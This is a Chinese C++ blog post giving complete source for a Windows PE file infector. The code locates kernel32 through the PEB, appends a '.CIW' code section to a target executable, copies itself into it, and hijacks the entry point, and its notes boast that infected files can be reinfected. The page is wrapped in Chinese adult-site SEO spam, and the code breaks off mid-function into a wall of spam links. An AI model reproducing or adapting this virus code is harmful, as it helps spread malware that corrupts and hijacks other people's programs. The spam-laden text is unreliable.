青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

聚星亭

吾笨笨且懶散兮 急須改之而奮進
posts - 74, comments - 166, trackbacks - 0, articles - 0
  C++博客 :: 首頁 :: 新隨筆 :: 聯系 :: 聚合  :: 管理

說明部分            
原帖:http://hi.baidu.com/ciw%5Fblue/blog/item/527fef260882db108b82a139.html  

1.改進了 Invoke函數 現在可以支持全局字符串 但是在第3個參數必須指定類型 和 printf中的%s,%d相似 s或S為字符串 

2.動態獲取Kernel32.dll,LoadLibrary,GetProcAddress地址 

3.被感染的文件可以再感染

#include <windows.h>

#pragma data_seg(
".mydat"
#pragma code_seg(
".shell")
#pragma const_seg(
".constdata")
#pragma comment(linker,
"/SECTION:.mydat,RWE"
#pragma comment(linker,
"/SECTION:.shell,RWE")
#pragma comment(linker,
"/SECTION:.constdata,RWE")
#pragma comment(linker,
"/MERGE:.mydat=.shell")
#pragma comment(linker,
"/MERGE:.constdata=.shell")
#pragma comment(linker, 
"/OPT:NOWIN98"
#pragma comment(linker, 
"/ENTRY:main")   
#pragma comment(linker, 
"/subsystem:windows")


#define Recode(A) _asm call A _asm A: _asm pop ebx _asm lea eax, A _asm sub ebx, eax
#define GetFunOffset(pFun) _asm mov eax, [ebx + pFun] _asm mov pFun, eax
#define GetStringOffset(pStr) _asm mov eax, [pStr] _asm lea eax, [ebx + eax] _asm mov pStr, eax 
#define GetGlobalVar(dwGlobalVar, dwLocalVar) _asm mov eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define GetGlobalAddr(dwGlobalVar, dwLocalVar) _asm lea eax, [ebx + dwGlobalVar] _asm mov dwLocalVar, eax
#define VA_END -2
#define DOS IMAGE_DOS_HEADER
#define NT IMAGE_NT_HEADERS
#define SEC IMAGE_SECTION_HEADER
#define MZ_FLAG 23117
#define PE_FLAG 17744
#define MY_SECTION_NAME_LENGTH 4
void GetKernellFun();
void CodeEnd() ;
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, );
typedef HINSTANCE (WINAPI 
*pLoadLibraryDef)(LPCTSTR);
typedef DWORD (WINAPI 
*pMsgBoxDef)(DWORD,DWORD,DWORD,DWORD);
bool Strcmp(char* szSrc, char* szDes);
bool InjectPe(char* szInjectFileName, bool);
DWORD dwOldEntry 
= 0;
char szUser32[] = "User32.Dll";
char szMessageBox[] = "MessageBoxA";
char szKernel32[] = "Kernel32.Dll";
char szExitProcess[] = "ExitProcess";
char szText[] = "真的要運行程序嗎?";
char szCaption[] = "CIW_BLUE Code";
char szLoadLibrary[] = "LoadLibraryA";
char szGetProcAddress[] = "GetProcAddress";
char szMySectionName[] = ".CIW";
DWORD dwLoadLibrary 
= 0;
DWORD dwGetProcAddress 
= 0;

char szInjectFileName[] = "C:\\1.exe";


int main()
{
  Recode(A)
  GetKernellFun();
  DWORD dwOldAddr 
= 0;
  
char *pInjectFileName = szInjectFileName;
  GetStringOffset(pInjectFileName);
  GetGlobalVar(dwOldEntry, dwOldAddr);
  
  
if(Invoke("User32""MessageBoxA""nssn", NULL, szText, szCaption, MB_YESNO, VA_END) == IDNO)
  {
    Invoke(szKernel32, szExitProcess, 
"n"0, VA_END);
  }

  InjectPe(pInjectFileName, 
0);

  _asm
  { 
    cmp dwOldAddr, 
0
    jz NotJmp
    jmp dwOldAddr
NotJmp:
    
  }
  Invoke(szKernel32, szExitProcess, 
"n"0, VA_END);
  
return 0;
}
int Invoke(char* pGlobalDllName, char* pGlobalFunName, char* pGlobalAgrFmt, )
{
  Recode(A)
    
char*pTempFunName = pGlobalDllName;
  GetStringOffset(pGlobalDllName);
  GetStringOffset(pGlobalFunName);
  GetStringOffset(pGlobalAgrFmt);
  
  DWORD dwLoadLib 
= 0x7c800000;
  DWORD dwGetProcAddr 
= 0x7c800000;
  
  GetGlobalVar(dwLoadLibrary, dwLoadLib);
  GetGlobalVar(dwGetProcAddress, dwGetProcAddr);
  
  HMODULE hDll 
= ((HMODULE(WINAPI*)(char*))dwLoadLib)(pGlobalDllName);
  PROC dwFunAddr 
= ((PROC(WINAPI*)(HMODULE,char*))dwGetProcAddr)(hDll, pGlobalFunName);
  DWORD dwRet 
= 0, j = 0;
  DWORD dwParam[
128], dwParamTemp = 0;
  DWORD dwParamLen 
= 0;
  va_list stVaList;
  
  va_start(stVaList, pGlobalAgrFmt);
  
while((dwParam[dwParamLen++= va_arg(stVaList,DWORD)) != VA_END);
  dwParamLen 
-= 2;
  
while(dwParamLen != -1)
  {
    dwParamTemp 
= dwParam[dwParamLen];
    
    
if(pGlobalAgrFmt[dwParamLen] == 's' || pGlobalAgrFmt[dwParamLen] == 'S')
      GetStringOffset(dwParamTemp);
    
    _asm push dwParamTemp
      
      dwParamLen
--;
  }
  _asm mov  eax, dwFunAddr
    _asm call eax
    _asm mov  dwRet,  eax
    va_end(stVaList);
  
return dwRet;
}

void GetKernellFun()
{
  Recode(A)
    
    
char* pLoadLibrary = szLoadLibrary;
  
char* pGetProcAddress = szGetProcAddress;
  DWORD dwFuncAddr 
= 0;
  
  GetStringOffset(pLoadLibrary);
  GetStringOffset(pGetProcAddress);
  
  IMAGE_DOS_HEADER
* stDos;
  IMAGE_NT_HEADERS
* stNT;
  IMAGE_DATA_DIRECTORY
* stDatDir = 0;
  IMAGE_EXPORT_DIRECTORY
* stEPT;
  
  DWORD dwKernelBase 
= 0;
  _asm
  {
    mov eax,dword ptr fs:[30h]
      mov eax,dword ptr [eax
+0Ch]
      mov esi,dword ptr [eax
+1Ch]
      lods dword ptr [esi]
      mov eax,dword ptr [eax
+08h]
      mov dwKernelBase, eax
  }
  
  
char *pBase = (char*)dwKernelBase;
  stDos 
= (IMAGE_DOS_HEADER*)dwKernelBase;
  
  stNT 
= (IMAGE_NT_HEADERS*)(pBase + stDos->e_lfanew);
  
  stDatDir 
= &stNT->OptionalHeader.DataDirectory[0];
  
  stEPT 
= (IMAGE_EXPORT_DIRECTORY*)(pBase + stDatDir->VirtualAddress);
  
  DWORD
* dwFunAddr = (DWORD*)(pBase + stEPT->AddressOfFunctions);
  DWORD
* dwAddr = (DWORD*)(pBase + stEPT->AddressOfNames);
  WORD
* dwAddr1 = (WORD*)(pBase + stEPT->AddressOfNameOrdinals);
  
  
for(int i = 0; i < stEPT->NumberOfNames; i++)
  {
    
if(Strcmp(pBase + dwAddr[i], pLoadLibrary) == 0)
      
break;
  }
  dwFuncAddr 
= dwFunAddr[i];
  _asm
  {
    Recode(B)
      mov  eax, dwFuncAddr
      add eax, dwKernelBase
      mov [ebx 
+ dwLoadLibrary], eax
  }
  
  
  
for(i = 0; i < stEPT->NumberOfNames; i++)
  {
    
if(Strcmp(pBase + dwAddr[i], pGetProcAddress) == 0)
      
break;
  }
  dwFuncAddr 
= dwFunAddr[i];
  _asm
  {
    Recode(C)
      mov  eax, dwFuncAddr
      add eax, dwKernelBase
      mov [ebx 
+ dwGetProcAddress], eax
  }
}

bool Strcmp(char* szSrc, char* szDes)
{
  
while(*szSrc && *szDes && *szSrc == *szDes)
  {
    szSrc
++, szDes++;
  }
  
return *szSrc - *szDes;
}


void Strcpy(char *szDesStr, char *szSrcStr)
{
  
while*szSrcStr )
    
*szDesStr ++ = *szSrcStr ++;
  
*szDesStr = 0;
}
bool IsPeFile(PVOID pPeBase)
{
  IMAGE_DOS_HEADER
* stDos = (DOS*)pPeBase;
  IMAGE_NT_HEADERS
* stNT = (NT*)((char*)pPeBase + stDos->e_lfanew);
  
if(stDos->e_magic != MZ_FLAG)
    
return false;
  
  
if(stNT->Signature != PE_FLAG)
    
return false;
  
  
return true;
}

int Align(int nSize, int n)
{
  
if(nSize % n)
    
return (nSize / n + 1* n;
  
  
return nSize;
}

bool InjectPe(char* szInjectFileName, bool bFlag)
{
  Recode(A)
  
char* pMySectionName = szMySectionName;
  DWORD dwCodeSize 
= (DWORD)CodeEnd - (DWORD)&dwOldEntry, dwSize = 0, dwOldEntry1 = 0, dwOldAddr = 0;
  GetStringOffset(pMySectionName);

  Recode(B)
GetGlobalAddr(dwOldEntry, dwOldAddr);
  GetKernellFun();
  HANDLE hFile 
= (HANDLE)Invoke("Kernel32.dll""CreateFileA""snnnnnn", ::szInjectFileName, GENERIC_READ | FILE_SHARE_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL, VA_END);
  HANDLE hMapFile 
= (HANDLE)Invoke("Kernel32""CreateFileMappingA""nnnnnn", hFile, NULL, PAGE_READWRITE, NULL, NULL, NULL, VA_END);
  PVOID pFile 
= (PVOID)Invoke("Kernel32""MapViewOfFile""nnnnnn", hMapFile, FILE_MAP_ALL_ACCESS, NULL, NULL, NULL, VA_END);
  
if(!pFile)
    
return 0;
  
if(!IsPeFile(pFile))
    
return 0;
  IMAGE_NT_HEADERS
* stNT = (NT*)((char*)pFile + ((DOS*)pFile)->e_lfanew);
  
  IMAGE_SECTION_HEADER
* stSec = (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
  
  
for(int i = 0; i < stNT->FileHeader.NumberOfSections; i++)
    
if(!Strcmp((char*)stSec[i].Name, pMySectionName))
      
return 0;
    
    stSec 
= (SEC*)((char*)pFile + ((DOS*)pFile)->e_lfanew + sizeof(NT));
    IMAGE_SECTION_HEADER
* stLastSec = &stSec[stNT->FileHeader.NumberOfSections - 1];
    IMAGE_SECTION_HEADER
* stNewSec = &stSec[stNT->FileHeader.NumberOfSections];
    DWORD dwFileAlign 
= stNT->OptionalHeader.FileAlignment;
    DWORD dwCodeAlign 
= stNT->OptionalHeader.SectionAlignment;
    
    stNT
->FileHeader.NumberOfSections = stNT->FileHeader.NumberOfSections + 1;
    
    Strcpy((
char*)stNewSec->Name, pMySectionName);
    stNewSec
->Characteristics = IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE ;
    stNewSec
->VirtualAddress = stLastSec->VirtualAddress + Align(stLastSec->Misc.VirtualSize, dwCodeAlign);
    stNewSec
->PointerToRawData = stLastSec->PointerToRawData + stLastSec->SizeOfRawData;
    stNewSec
->SizeOfRawData = Align(dwCodeSize, dwFileAlign);
    stNewSec
->Misc.VirtualSize = Align(dwCodeSize, dwCodeAlign);
     
    stNT
->OptionalHeader.SizeOfCode += stNewSec->Misc.VirtualSize;
    stNT
->OptionalHeader.SizeOfImage += stNewSec->Misc.VirtualSize;
    
    Invoke(
"Kernel32""SetFilePointer""nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END); 

    Invoke(
"Kernel32""WriteFile""nnnnn", hFile, dwOldAddr, stNewSec->Misc.VirtualSize, &dwSize, NULL, VA_END);

    Invoke(
"Kernel32""SetEndOfFile""n", hFile, VA_END);

    dwOldEntry1 
= stNT->OptionalHeader.AddressOfEntryPoint + stNT->OptionalHeader.ImageBase;
    Invoke(
"Kernel32""SetFilePointer""nnnn", hFile, stNewSec->PointerToRawData, NULL, FILE_BEGIN, VA_END);
    Invoke(
"Kernel32""WriteFile""nnnnn", hFile, &dwOldEntry1 , 4&dwSize, NULL, VA_END);

    stNT
->OptionalHeader.AddressOfEntryPoint = stNewSec->VirtualAddress + (DWORD)main - (DWORD)&dwOldEntry;
    
    Invoke(
"Kernel32""FlushViewOfFile""nn", pFile, stNT->OptionalHeader.SizeOfHeaders, VA_END);
    
    Invoke(
"Kernel32""UnmapViewOfFile""n", pFile, VA_END);
    Invoke(
"Kernel32""CloseHandle""n", hMapFile, VA_END);
    Invoke(
"Kernel32""CloseHandle""n", hFile, VA_END); 
    
return true;
}   



void CodeEnd() 
{

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            午夜精品久久久久久久99热浪潮 | 欧美在线免费观看| 久久九九久久九九| 小黄鸭精品密入口导航| 欧美日韩另类丝袜其他| 亚洲精选中文字幕| 一区在线电影| 欧美在线免费一级片| 久久久久久久999| 国产午夜精品全部视频在线播放| 欧美一区二区三区免费在线看| 久久色在线播放| 女女同性女同一区二区三区91| 国产精品国产三级国产a| 99这里只有精品| 亚洲图片欧洲图片av| 国产精品美女久久久免费| 亚洲欧美另类中文字幕| 久久精品官网| 在线观看亚洲视频啊啊啊啊| 久久久久国产精品一区二区| 国产精品video| 99热在线精品观看| 亚洲欧美成人精品| 国产精品中文字幕欧美| 午夜天堂精品久久久久| 久久精品综合网| 亚洲盗摄视频| 欧美图区在线视频| 久久蜜桃精品| 一区二区三区高清视频在线观看| 久久久久久香蕉网| 亚洲激情综合| 亚洲人成77777在线观看网| 欧美日韩精品免费观看| 亚洲一区免费在线观看| 亚洲黄色高清| 久久xxxx| 99香蕉国产精品偷在线观看| 国内精品久久久久久久影视麻豆| 久久亚洲国产成人| 亚洲先锋成人| 亚洲国产成人在线| 久久乐国产精品| 午夜性色一区二区三区免费视频| 亚洲国产精品女人久久久| 国产性色一区二区| 欧美日韩国产影片| 麻豆九一精品爱看视频在线观看免费| 你懂的视频欧美| 久久av一区二区| 亚洲欧美久久久| 亚洲夜晚福利在线观看| 亚洲国产日韩一区| 国产一区二区主播在线| 欧美日韩日韩| 欧美午夜视频一区二区| 欧美日韩国产综合视频在线观看 | 一区二区三区国产精华| 亚洲日本电影| 亚洲精品一区在线观看| 欧美激情久久久| 亚洲第一福利在线观看| 欧美激情在线观看| 欧美成人精品福利| 欧美成年人视频| 欧美激情在线观看| 最新国产成人av网站网址麻豆| 久久久99爱| 久久久久久久国产| 亚洲福利视频二区| 91久久国产综合久久91精品网站| 欧美午夜影院| 亚洲自拍电影| 亚洲欧美一区二区三区在线| 一本大道久久精品懂色aⅴ| 日韩一二在线观看| 99视频在线精品国自产拍免费观看 | 亚洲一区国产一区| 亚洲欧美国产精品va在线观看| 亚洲精品三级| 99re热这里只有精品视频| 一本色道久久88精品综合| 99热在这里有精品免费| 亚洲欧美综合v| 欧美在线一二三区| 午夜在线一区| 亚洲一区二区免费视频| 午夜亚洲精品| 久久一本综合频道| 欧美激情小视频| 亚洲人成在线免费观看| 亚洲视频一区二区免费在线观看| 亚洲综合精品自拍| 亚洲一区国产一区| 欧美一站二站| 欧美成人激情在线| 国产精品日本一区二区| 国产伦精品免费视频| 黄色一区二区在线观看| 国产在线观看一区| 亚洲精品在线视频| 欧美一区视频| 亚洲国产精品黑人久久久| 在线一区二区日韩| 久久精品国产亚洲精品| 欧美激情精品久久久久久| 国产精品高潮呻吟视频| 精品福利av| 欧美一区二区三区免费在线看| 久久精品国产一区二区三区| 久久在线视频在线| 99国产精品久久久久久久成人热| 91久久久国产精品| 亚洲综合视频网| 欧美激情视频给我| 国产日韩亚洲欧美精品| 亚洲永久精品国产| 99re亚洲国产精品| 久久久综合精品| 欧美天天视频| 亚洲成在线观看| 国产精品www| 久久久亚洲一区| 欧美日韩国产综合在线| 伊人成年综合电影网| 亚洲视频香蕉人妖| 免费成人性网站| 午夜精品免费| 欧美深夜影院| 91久久夜色精品国产九色| 国产农村妇女精品| 亚洲免费观看在线观看| 蜜臀久久99精品久久久久久9| 裸体女人亚洲精品一区| 午夜精品在线视频| 欧美日韩国语| 99热精品在线观看| 久久精品夜色噜噜亚洲a∨ | 欧美日韩精品综合在线| 91久久久亚洲精品| 欧美gay视频| 久久影院午夜片一区| 免费中文字幕日韩欧美| 欧美一级视频| 国产精品视频自拍| 亚洲欧美综合v| 欧美视频一区二区三区在线观看 | 亚洲视频免费观看| 欧美成人在线网站| 欧美精品久久一区| 在线视频成人| 国产精品视频男人的天堂| 欧美在线国产| 久久久欧美精品sm网站| 国产日韩欧美综合在线| 巨乳诱惑日韩免费av| 免费成人激情视频| 国产精品99久久久久久www| 亚洲综合色婷婷| 亚洲高清自拍| 99热精品在线观看| 亚洲第一伊人| 亚洲午夜影视影院在线观看| 黄色欧美日韩| 99精品国产一区二区青青牛奶| 欧美三区不卡| 玖玖视频精品| 国产精品日韩久久久久| 亚洲国产日韩欧美在线动漫| 国产精品视频观看| 亚洲国产欧美日韩| 国产一区二区三区不卡在线观看| 欧美国产日韩一区| 欧美日韩成人在线| 性欧美大战久久久久久久久| 欧美一区二区三区另类| 久久久免费精品视频| 亚洲一区二区三区三| 午夜精品国产精品大乳美女| 在线精品视频免费观看| 亚洲一区一卡| 美女视频网站黄色亚洲| 一本大道久久精品懂色aⅴ| 在线视频欧美日韩| 国产九九精品| 久久美女艺术照精彩视频福利播放| 欧美肥婆在线| 欧美午夜电影在线| 久久精品国产欧美激情| 久久精品国产第一区二区三区最新章节| 国产精品久久久久久影视| 久热精品视频| 欧美三级视频在线| 欧美电影打屁股sp| 欧美视频日韩视频| 在线观看欧美日韩| 欧美激情亚洲一区| 尤物在线精品| 亚洲区国产区|